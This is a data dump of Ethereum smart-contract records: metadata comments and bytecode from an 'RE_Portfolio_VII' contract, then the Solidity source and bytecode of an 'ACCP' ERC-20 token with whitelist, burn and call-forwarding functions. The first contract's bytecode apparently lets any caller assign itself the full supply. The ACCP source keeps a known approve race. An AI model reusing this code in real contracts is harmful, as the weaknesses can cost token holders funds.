// < Tb5iztS43oSmPHuBRLGBb8B13w6MheR601cCN72yf2L0h5JJSG5VaS8b4YA54D8Y >
// < 1E-018 limites [ 570996370,239225 ; 610567161,106495 ] >
// < 0x0000000000000000000000000000000000000000000000D4B675313E37438F42 >
// < RE_Portfolio_VII_metadata_line_16_____Canopius_Managing_Agents_Limited_20250515 >
// < 18id6wj89rSlBWm6zh5w9T2dJckc5IIK61r3V2Le82wIkV4z7sIW98Maukbd5NfD >
// < 1E-018 limites [ 610567161,106495 ; 634621545,227274 ] >
// < 0x0000000000000000000000000000000000000000000000E37438F42EC6A3A30E >
// < RE_Portfolio_VII_metadata_line_17_____Canopius_Managing_Agents_Limited_20250515 >
// < 8Wdt3IQq7L9gyiSK9ratR9W53KhsZO39NRyK52R7Y06l66rvLurgvSH9mlryDY2Q >
// < 1E-018 limites [ 634621545,227274 ; 709240475,887454 ] >
// < 0x000000000000000000000000000000000000000000000EC6A3A30E10836716D8 >
// < RE_Portfolio_VII_metadata_line_18_____Canopius_Managing_Agents_Limited_20250515 >
// < 743Asq989tw5Pg25SOe98z8D8Qr2txb7z6ttvk7zm87I8LhRI8htp0FJurB9jHb0 >
// < 1E-018 limites [ 709240475,887454 ; 728455638,269099 ] >
// < 0x0000000000000000000000000000000000000000000010836716D810F5EF19A6 >
// < RE_Portfolio_VII_metadata_line_19_____Canopius_Managing_Agents_Limited_20250515 >
// < GH980xvE51LE4Ck4l67w0DNSN4sBWenVAKtZmEgcYSj7jGo9NCv5K4sXo7OKlYz4 >
// < 1E-018 limites [ 728455638,269099 ; 796646250,67732 ] >
// < 0x0000000000000000000000000000000000000000000010F5EF19A6128C61B79F >
// < RE_Portfolio_VII_metadata_line_20_____Canopius_Managing_Agents_Limited_20250515 >
// < 3NjghNjmTp8wIYy65BawvhZQ5841nAXSq8Fgf9OoAZfCEk87jlv7cIQAnk9yk8F8 >
// < 1E-018 limites [ 796646250,67732 ; 866150965,247675 ] >
// < 0x00000000000000000000000000000000000000000000128C61B79F142AA97EC0 >
// Programme d'émission - Lignes 21 à 30
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_VII_metadata_line_21_____Canopius_Managing_Agents_Limited_20250515 >
// < oB2qV58TLsEIplhD773ezluCTpT233XtMp2z8CAJ90G1m80Ewk8fpq74v7YB81dP >
// < 1E-018 limites [ 866150965,247675 ; 911550225,474008 ] >
// < 0x00000000000000000000000000000000000000000000142AA97EC015394344C7 >
// < RE_Portfolio_VII_metadata_line_22_____Capita_Managing_Agency_Limited_20250515 >
// < Y4HxliqD4Bkba3qZ64pJe959ka7O705i9BqzEKtf956XZ2N5335o882J5c98J904 >
// < 1E-018 limites [ 911550225,474008 ; 928785290,209167 ] >
// < 0x0000000000000000000000000000000000000000000015394344C7159FFDE3F0 >
// < RE_Portfolio_VII_metadata_line_23_____Capita_Managing_Agency_Limited_20250515 >
// < tRKSkJh254Ct15siHPIxstOy6ixDaq87LT7ULR43tfg8Q84MRNMH0gok4kXjE8c0 >
// < 1E-018 limites [ 928785290,209167 ; 963046935,558646 ] >
// < 0x00000000000000000000000000000000000000000000159FFDE3F0166C350327 >
// < RE_Portfolio_VII_metadata_line_24_____Capita_Managing_Agency_Limited_20250515 >
// < 71dDpv6l1PN84VUr6Vg3gDu6L2P4rnL611q1XLzLVu0j4gow6n5N8L1spP7mz0Ow >
// < 1E-018 limites [ 963046935,558646 ; 991939291,134446 ] >
// < 0x00000000000000000000000000000000000000000000166C35032717186B3F8D >
// < RE_Portfolio_VII_metadata_line_25_____Capita_Syndicate_Management_Limited_20250515 >
// < kbJS4Q0zWqi939zCwx819gt29981vLVh06N79a20e1nNSLiSueN523Pl2yQqv7lQ >
// < 1E-018 limites [ 991939291,134446 ; 1037908231,48745 ] >
// < 0x0000000000000000000000000000000000000000000017186B3F8D182A6A48E0 >
// < RE_Portfolio_VII_metadata_line_26_____CATEX_20250515 >
// < 3L349am55q947sNG4cQtrjo9x67Nq4fZ5wyq7OKXq4RV1c0g54E9jVhHbgLMaQc9 >
// < 1E-018 limites [ 1037908231,48745 ; 1078340115,43145 ] >
// < 0x00000000000000000000000000000000000000000000182A6A48E0191B68718B >
// < RE_Portfolio_VII_metadata_line_27_____Cathedral_Underwriting_Limited_20250515 >
// < 9p32f1X77t66v3bd030ZTxzhkr4dPdi8tR0Gax41G5z1KU9KZ1drJGr04K1hnNFD >
// < 1E-018 limites [ 1078340115,43145 ; 1101365908,94578 ] >
// < 0x00000000000000000000000000000000000000000000191B68718B19A4A70422 >
// < RE_Portfolio_VII_metadata_line_28_____Cathedral_Underwriting_Limited_20250515 >
// < kQdG979c3vqaJE0xU0NOcAaVc11p8DPdR9Xr8oxFpx90Q1fdLmwrv267082c8Vg7 >
// < 1E-018 limites [ 1101365908,94578 ; 1112971320,90702 ] >
// < 0x0000000000000000000000000000000000000000000019A4A7042219E9D3782E >
// < RE_Portfolio_VII_metadata_line_29_____Cathedral_Underwriting_Limited_20250515 >
// < X9O45WNjJS7Mnsus4Z1mt6jT9GuTyKtRw4sp5wqVf2go6qfS6Bz8W25MK65Z5WOu >
// < 1E-018 limites [ 1112971320,90702 ; 1154178273,69648 ] >
// < 0x0000000000000000000000000000000000000000000019E9D3782E1ADF704A1D >
// < RE_Portfolio_VII_metadata_line_30_____Cathedral_Underwriting_Limited_20250515 >
// < P36TQxq24OSV4ws8fnK2DA3r3m4W5110u3OABNq428mrc396x2jJGPDoos5nE7QE >
// < 1E-018 limites [ 1154178273,69648 ; 1231472431,73042 ] >
// < 0x000000000000000000000000000000000000000000001ADF704A1D1CAC25D099 >
// Programme d'émission - Lignes 31 à 40
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_VII_metadata_line_31_____Catlin_Group_Limited_20250515 >
// < 61GVGIQYL8Q9kT5hodT5hWFoMyt4DD904h9Tm654761W5Si3rete9g5gq2n1dhM6 >
// < 1E-018 limites [ 1231472431,73042 ; 1284605995,8667 ] >
// < 0x000000000000000000000000000000000000000000001CAC25D0991DE8D93316 >
// < RE_Portfolio_VII_metadata_line_32_____Catlin_Insurance_Co__UK__Limited_Ap_A_20250515 >
// < 2xVmTVG1tECxk5VMvw255OiyL2B1I326Xjm4x9t29Ny1bLAZ168EwcHZ32zV0hry >
// < 1E-018 limites [ 1284605995,8667 ; 1336052033,84697 ] >
// < 0x000000000000000000000000000000000000000000001DE8D933161F1B7D9FAC >
// < RE_Portfolio_VII_metadata_line_33_____Catlin_Underwriting_Agencies_Limited_20250515 >
// < E3bp6E00FJ99x188Tx4Z3tlW1TCtc2G673b23tu4gqo94sCW8s8c14GnlVWI31PE >
// < 1E-018 limites [ 1336052033,84697 ; 1370206406,98323 ] >
// < 0x000000000000000000000000000000000000000000001F1B7D9FAC1FE7110FAE >
// < RE_Portfolio_VII_metadata_line_34_____Catlin_Underwriting_Agencies_Limited_20250515 >
// < 88lH0RC20NtFHzc6J3lANBl62ZvM4jF3i25aGyr2GWvFqoEQGNv51UqnLubTS152 >
// < 1E-018 limites [ 1370206406,98323 ; 1420776102,95507 ] >
// < 0x000000000000000000000000000000000000000000001FE7110FAE21147C4B2B >
// < RE_Portfolio_VII_metadata_line_35_____Catlin_Underwriting_Agencies_Limited_20250515 >
// < Em9G1QTC4bY8YdArAG5elayZC8ZcZ4Xclj88QuCElSjw73xf24s8SBS0zST45mCy >
// < 1E-018 limites [ 1420776102,95507 ; 1437757599,24907 ] >
// < 0x0000000000000000000000000000000000000000000021147C4B2B2179B40028 >
// < RE_Portfolio_VII_metadata_line_36_____Catlin_Underwriting_Agencies_Limited_20250515 >
// < r9ot7qP0606n0aMHjz4646u5CL3e45x37apcQVVNEY6Yf2RQGNv8rq1kF6ID12OL >
// < 1E-018 limites [ 1437757599,24907 ; ] >
// < 0x000000000000000000000000000000000000000000002179B4002821BF0C8EA6 >
// < RE_Portfolio_VII_metadata_line_37_____Catlin_Underwriting_Agencies_Limited_20250515 >
// < kq1DM5qMxzs1H8XNfzh45Zd57PBCCZdWux227wuG9y7R2Wdt3IalFgCMxMK6nR69 >
// < 1E-018 limites [ 1449391914,74149 ; 1481978387,72403 ] >
// < 0x0000000000000000000000000000000000000000000021BF0C8EA622814791A8 >
// < RE_Portfolio_VII_metadata_line_38_____Catlin_Underwriting_Agencies_Limited_20250515 >
// < z0gO77HGAoF8sEX1xC6J0GQ6r008lKzr7Z6J6UEl0dxbwe3C6E18L998TYW2vJlh >
// < 1E-018 limites [ 1481978387,72403 ; 1499789073,80768 ] >
// < 0x0000000000000000000000000000000000000000000022814791A822EB7084E8 >
// < RE_Portfolio_VII_metadata_line_39_____Catlin_Underwriting_Agencies_Limited_20250515 >
// < 3taHI79Yi7Hu789aeRe83J72k532iwuAl602g83C2oDbqn65duAhpAiupY809JUM >
// < 1E-018 limites [ 1499789073,80768 ; 1556004519,32335 ] >
// < 0x0000000000000000000000000000000000000000000022EB7084E8243A827B50 >
// < RE_Portfolio_VII_metadata_line_40_____Catlin_Underwriting_Agencies_Limited_20250515 >
// < 5Q1rUNRh1I6y20uLrt7V3ano8Akgo5374EyJtn2s4HpJ7cMPJA3BXK60pi2PT55p >
// < 1E-018 limites [ 1556004519,32335 ; 1592025577,783 ] >
// < 0x00000000000000000000000000000000000000000000243A827B502511364146 >
}
|
0x6080604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100a9578063095ea7b31461013957806318160ddd1461019e57806323b872dd146101c9578063313ce5671461024e57806370a082311461027f57806395d89b41146102d6578063a9059cbb14610366578063b5c8f317146103cb578063dd62ed3e146103e2575b600080fd5b3480156100b557600080fd5b506100be610459565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100fe5780820151818401526020810190506100e3565b50505050905090810190601f16801561012b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561014557600080fd5b50610184600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104f7565b604051808215151515815260200191505060405180910390f35b3480156101aa57600080fd5b506101b36105e9565b6040518082815260200191505060405180910390f35b3480156101d557600080fd5b50610234600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105ef565b604051808215151515815260200191505060405180910390f35b34801561025a57600080fd5b5061026361085b565b604051808260ff1660ff16815260200191505060405180910390f35b34801561028b57600080fd5b506102c0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061086e565b6040518082815260200191505060405180910390f35b3480156102e257600080fd5b506102eb610886565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561032b578082015181840152602081019050610310565b50505050905090810190601f1680156103585780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561037257600080fd5b506103b1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610924565b604051808215151515815260200191505060405180910390f35b3480156103d757600080fd5b506103e0610a7a565b005b3480156103ee57600080fd5b50610443600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b29565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104ef5780601f106104c4576101008083540402835291602001916104ef565b820191906000526020600020905b8154815290600101906020018083116104d257829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561063e57600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156106c957600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b60028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561091c5780601f106108f15761010080835404028352916020019161091c565b820191906000526020600020905b8154815290600101906020018083116108ff57829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561097357600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6004546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040518082815260200191505060405180910390a3565b60056020528160005260406000206020528060005260406000206000915091505054815600a165627a7a72305820e506724b9647311595920b96c3c82e36848b552350e198984098ad3ac12fb6130029
|
{"success": true, "error": null, "results": {}}
| 4,351 |
0x12313dcf43120bd3d568deee13cb4c2c49e50782
|
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
* source: https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/* "Interfaces" */
// this is expected from another contracts
// if it wants to spend tokens of behalf of the token owner in our contract
// this can be used in many situations, for example to convert pre-ICO tokens to ICO tokens
// see 'approveAndCall' function
contract allowanceRecipient {
function receiveApproval(address _from, uint256 _value, address _inContract, bytes _extraData) public returns (bool);
}
// see:
// https://github.com/ethereum/EIPs/issues/677
contract tokenRecipient {
function tokenFallback(address _from, uint256 _value, bytes _extraData) public returns (bool);
}
/**
* The ACCP contract
* ver. 1.0
*/
contract ACCP {
// see: https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/token/ERC20/BasicToken.sol
using SafeMath for uint256;
address public owner;
/* --- ERC-20 variables */
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#name
// function name() constant returns (string name)
string public name = "ACCP";
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#symbol
// function symbol() constant returns (string symbol)
string public symbol = "ACCP";
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#decimals
// function decimals() constant returns (uint8 decimals)
uint8 public decimals = 0;
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#totalsupply
// function totalSupply() constant returns (uint256 totalSupply)
// we start with zero and will create tokens as SC receives ETH
uint256 public totalSupply = 10 * 1000000000; // 10B
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#balanceof
// function balanceOf(address _owner) constant returns (uint256 balance)
mapping(address => uint256) public balanceOf;
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#allowance
// function allowance(address _owner, address _spender) constant returns (uint256 remaining)
mapping(address => mapping(address => uint256)) public allowance;
/* --- ERC-20 events */
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#events
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#transfer-1
event Transfer(address indexed from, address indexed to, uint256 value);
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#approval
event Approval(address indexed _owner, address indexed spender, uint256 value);
/* --- Interaction with other contracts events */
event DataSentToAnotherContract(address indexed _from, address indexed _toContract, bytes _extraData);
/* --- Other variables */
bool public transfersBlocked = false;
mapping(address => bool) public whiteListed;
/* ---------- Constructor */
// do not forget about:
// https://medium.com/@codetractio/a-look-into-paritys-multisig-wallet-bug-affecting-100-million-in-ether-and-tokens-356f5ba6e90a
constructor() public {
// owner = msg.sender;
owner = 0x55515db2570D6A502d5d6176aF2A118ce0c68007;
// (!!!) all tokens initially belong to smart contract itself
balanceOf[this] = totalSupply;
}
event TransfersBlocked(address indexed by);//
function blockTransfers() public {// only owner!
//
require(msg.sender == owner);
//
require(!transfersBlocked);
transfersBlocked = true;
emit TransfersBlocked(msg.sender);
}
event TransfersAllowed(address indexed by);//
function allowTransfers() public {// only owner!
//
require(msg.sender == owner);
//
require(transfersBlocked);
transfersBlocked = false;
emit TransfersAllowed(msg.sender);
}
event AddedToWhiteList(address indexed by, address indexed added);//
function addToWhiteList(address acc) public {// only owner!
//
require(msg.sender == owner);
// require(!whiteListed[acc]);
whiteListed[acc] = true;
emit AddedToWhiteList(msg.sender, acc);
}
event RemovedFromWhiteList(address indexed by, address indexed removed);//
function removeFromWhiteList(address acc) public {// only owner!
//
require(msg.sender == owner);
//
require(acc != owner);
// require(!whiteListed[acc]);
whiteListed[acc] = false;
emit RemovedFromWhiteList(msg.sender, acc);
}
event tokensBurnt(address indexed by, uint256 value); //
function burnTokens() public {// only owner!
//
require(msg.sender == owner);
//
require(balanceOf[this] > 0);
emit tokensBurnt(msg.sender, balanceOf[this]);
balanceOf[this] = 0;
}
/* --- ERC-20 Functions */
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#methods
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#transfer
function transfer(address _to, uint256 _value) public returns (bool){
return transferFrom(msg.sender, _to, _value);
}
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#transferfrom
function transferFrom(address _from, address _to, uint256 _value) public returns (bool){
// Transfers of 0 values MUST be treated as normal transfers and fire the Transfer event (ERC-20)
require(_value >= 0);
// The function SHOULD throw unless the _from account has deliberately authorized the sender of the message via some mechanism
require(msg.sender == _from || _value <= allowance[_from][msg.sender] || (_from == address(this) && msg.sender == owner));
// TODO:
require(!transfersBlocked || (whiteListed[_from] && whiteListed[msg.sender]));
// check if _from account have required amount
require(_value <= balanceOf[_from]);
// Subtract from the sender
// balanceOf[_from] = balanceOf[_from] - _value;
balanceOf[_from] = balanceOf[_from].sub(_value);
//
// Add the same to the recipient
// balanceOf[_to] = balanceOf[_to] + _value;
balanceOf[_to] = balanceOf[_to].add(_value);
// If allowance used, change allowances correspondingly
if (_from != msg.sender && (!(_from == address(this) && msg.sender == owner))) {
// allowance[_from][msg.sender] = allowance[_from][msg.sender] - _value;
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
}
// event
emit Transfer(_from, _to, _value);
return true;
} // end of transferFrom
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#approve
// there is and attack, see:
// https://github.com/CORIONplatform/solidity/issues/6,
// https://drive.google.com/file/d/0ByMtMw2hul0EN3NCaVFHSFdxRzA/view
// but this function is required by ERC-20
function approve(address _spender, uint256 _value) public returns (bool){
require(_value >= 0);
allowance[msg.sender][_spender] = _value;
// event
emit Approval(msg.sender, _spender, _value);
return true;
}
/* ---------- Interaction with other contracts */
/* User can allow another smart contract to spend some shares in his behalf
* (this function should be called by user itself)
* @param _spender another contract's address
* @param _value number of tokens
* @param _extraData Data that can be sent from user to another contract to be processed
* bytes - dynamically-sized byte array,
* see http://solidity.readthedocs.io/en/v0.4.15/types.html#dynamically-sized-byte-array
* see possible attack information in comments to function 'approve'
* > this may be used to convert pre-ICO tokens to ICO tokens
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool) {
approve(_spender, _value);
// 'spender' is another contract that implements code as prescribed in 'allowanceRecipient' above
allowanceRecipient spender = allowanceRecipient(_spender);
// our contract calls 'receiveApproval' function of another contract ('allowanceRecipient') to send information about
// allowance and data sent by user
// 'this' is this (our) contract address
if (spender.receiveApproval(msg.sender, _value, this, _extraData)) {
emit DataSentToAnotherContract(msg.sender, _spender, _extraData);
return true;
}
return false;
} // end of approveAndCall
// for convenience:
function approveAllAndCall(address _spender, bytes _extraData) public returns (bool success) {
return approveAndCall(_spender, balanceOf[msg.sender], _extraData);
}
/* https://github.com/ethereum/EIPs/issues/677
* transfer tokens with additional info to another smart contract, and calls its correspondent function
* @param address _to - another smart contract address
* @param uint256 _value - number of tokens
* @param bytes _extraData - data to send to another contract
* > this may be used to convert pre-ICO tokens to ICO tokens
*/
function transferAndCall(address _to, uint256 _value, bytes _extraData) public returns (bool success){
transferFrom(msg.sender, _to, _value);
tokenRecipient receiver = tokenRecipient(_to);
if (receiver.tokenFallback(msg.sender, _value, _extraData)) {
emit DataSentToAnotherContract(msg.sender, _to, _extraData);
return true;
}
return false;
} // end of transferAndCall
// for example for converting ALL tokens of user account to another tokens
function transferAllAndCall(address _to, bytes _extraData) public returns (bool success){
return transferAndCall(_to, balanceOf[msg.sender], _extraData);
}
}
|
0x60806040526004361061011c5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166301bf6648811461012157806306fdde031461014457806308003f78146101ce578063095ea7b3146101e357806318160ddd1461021b5780632185810b1461024257806323b872dd14610257578063313ce567146102815780634000aea0146102ac57806347ee039414610315578063531794131461033657806370a082311461034b5780637dcfd3d51461036c578063816c7da4146103815780638da5cb5b146103e857806395d89b4114610419578063a9059cbb1461042e578063cae9ca5114610452578063d87692d9146104bb578063dd62ed3e14610522578063fa0fca8414610549575b600080fd5b34801561012d57600080fd5b50610142600160a060020a036004351661056a565b005b34801561015057600080fd5b506101596105e6565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561019357818101518382015260200161017b565b50505050905090810190601f1680156101c05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101da57600080fd5b50610142610673565b3480156101ef57600080fd5b50610207600160a060020a03600435166024356106fc565b604080519115158252519081900360200190f35b34801561022757600080fd5b50610230610772565b60408051918252519081900360200190f35b34801561024e57600080fd5b50610142610778565b34801561026357600080fd5b50610207600160a060020a03600435811690602435166044356107d7565b34801561028d57600080fd5b50610296610a25565b6040805160ff9092168252519081900360200190f35b3480156102b857600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610207948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610a2e9650505050505050565b34801561032157600080fd5b50610142600160a060020a0360043516610c07565b34801561034257600080fd5b50610207610c6b565b34801561035757600080fd5b50610230600160a060020a0360043516610c74565b34801561037857600080fd5b50610142610c86565b34801561038d57600080fd5b5060408051602060046024803582810135601f8101859004850286018501909652858552610207958335600160a060020a0316953695604494919390910191908190840183828082843750949750610ce79650505050505050565b3480156103f457600080fd5b506103fd610d0a565b60408051600160a060020a039092168252519081900360200190f35b34801561042557600080fd5b50610159610d19565b34801561043a57600080fd5b50610207600160a060020a0360043516602435610d71565b34801561045e57600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610207948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610d7e9650505050505050565b3480156104c757600080fd5b5060408051602060046024803582810135601f8101859004850286018501909652858552610207958335600160a060020a0316953695604494919390910191908190840183828082843750949750610e6d9650505050505050565b34801561052e57600080fd5b50610230600160a060020a0360043581169060243516610e89565b34801561055557600080fd5b50610207600160a060020a0360043516610ea6565b600054600160a060020a0316331461058157600080fd5b600054600160a060020a038281169116141561059c57600080fd5b600160a060020a038116600081815260086020526040808220805460ff191690555133917f3d08d7d61794d2c1a5c954404efc1a266c3e88bddb6347d4524acde3ea6926d191a350565b60018054604080516020600284861615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561066b5780601f106106405761010080835404028352916020019161066b565b820191906000526020600020905b81548152906001019060200180831161064e57829003601f168201915b505050505081565b600054600160a060020a0316331461068a57600080fd5b30600090815260056020526040812054116106a457600080fd5b30600090815260056020908152604091829020548251908152915133927fa9633bd9b706e13c4f89d2023be84c52e11fb3d325306abeb2ac90d927df18be92908290030190a230600090815260056020526040812055565b60008082101561070b57600080fd5b336000818152600660209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60045481565b600054600160a060020a0316331461078f57600080fd5b60075460ff1615156107a057600080fd5b6007805460ff1916905560405133907f6a9a2e7cd2f6206f0945d550c78f3a8a1c1d01ee1467e1c4f64fbe843af2548390600090a2565b6000808210156107e657600080fd5b33600160a060020a03851614806108205750600160a060020a03841660009081526006602090815260408083203384529091529020548211155b806108485750600160a060020a038416301480156108485750600054600160a060020a031633145b151561085357600080fd5b60075460ff1615806108975750600160a060020a03841660009081526008602052604090205460ff16801561089757503360009081526008602052604090205460ff165b15156108a257600080fd5b600160a060020a0384166000908152600560205260409020548211156108c757600080fd5b600160a060020a0384166000908152600560205260409020546108f0908363ffffffff610ebb16565b600160a060020a038086166000908152600560205260408082209390935590851681522054610925908363ffffffff610ecd16565b600160a060020a03808516600090815260056020526040902091909155841633148015906109725750600160a060020a038416301480156109705750600054600160a060020a031633145b155b156109d057600160a060020a03841660009081526006602090815260408083203384529091529020546109ab908363ffffffff610ebb16565b600160a060020a03851660009081526006602090815260408083203384529091529020555b82600160a060020a031684600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35060019392505050565b60035460ff1681565b600080610a3c3386866107d7565b50506040517fc0ee0b8a0000000000000000000000000000000000000000000000000000000081523360048201818152602483018690526060604484019081528551606485015285518894600160a060020a0386169463c0ee0b8a9490938a938a9360840190602085019080838360005b83811015610ac5578181015183820152602001610aad565b50505050905090810190601f168015610af25780820380516001836020036101000a031916815260200191505b50945050505050602060405180830381600087803b158015610b1357600080fd5b505af1158015610b27573d6000803e3d6000fd5b505050506040513d6020811015610b3d57600080fd5b505115610bfa5784600160a060020a031633600160a060020a03167f21ef8368734ad953ed9ae3c3035d58f91f69a15ebc986c4e008bc18f8cdc4d69856040518080602001828103825283818151815260200191508051906020019080838360005b83811015610bb7578181015183820152602001610b9f565b50505050905090810190601f168015610be45780820380516001836020036101000a031916815260200191505b509250505060405180910390a360019150610bff565b600091505b509392505050565b600054600160a060020a03163314610c1e57600080fd5b600160a060020a038116600081815260086020526040808220805460ff191660011790555133917fe7043ad5fae13ebac4133f32ddab6a51e7066a5c9dc2a7f0b41417c10c5df48791a350565b60075460ff1681565b60056020526000908152604090205481565b600054600160a060020a03163314610c9d57600080fd5b60075460ff1615610cad57600080fd5b6007805460ff1916600117905560405133907fdc6a7ee7e731674a128f326193f0573a4a9bd1d523a2e982faa4d048fbe4653e90600090a2565b33600090815260056020526040812054610d0390849084610d7e565b9392505050565b600054600160a060020a031681565b6002805460408051602060018416156101000260001901909316849004601f8101849004840282018401909252818152929183018282801561066b5780601f106106405761010080835404028352916020019161066b565b6000610d033384846107d7565b600080610d8b85856106fc565b50506040517f8f4ffcb100000000000000000000000000000000000000000000000000000000815233600482018181526024830186905230604484018190526080606485019081528651608486015286518995600160a060020a03871695638f4ffcb19590948b9490938b9360a40190602085019080838360005b83811015610e1e578181015183820152602001610e06565b50505050905090810190601f168015610e4b5780820380516001836020036101000a031916815260200191505b5095505050505050602060405180830381600087803b158015610b1357600080fd5b33600090815260056020526040812054610d0390849084610a2e565b600660209081526000928352604080842090915290825290205481565b60086020526000908152604090205460ff1681565b600082821115610ec757fe5b50900390565b81810182811015610eda57fe5b929150505600a165627a7a72305820507aac10cd63b8fffc71de32715cf6fc99b39b20ca474399b54ec91fb43547850029
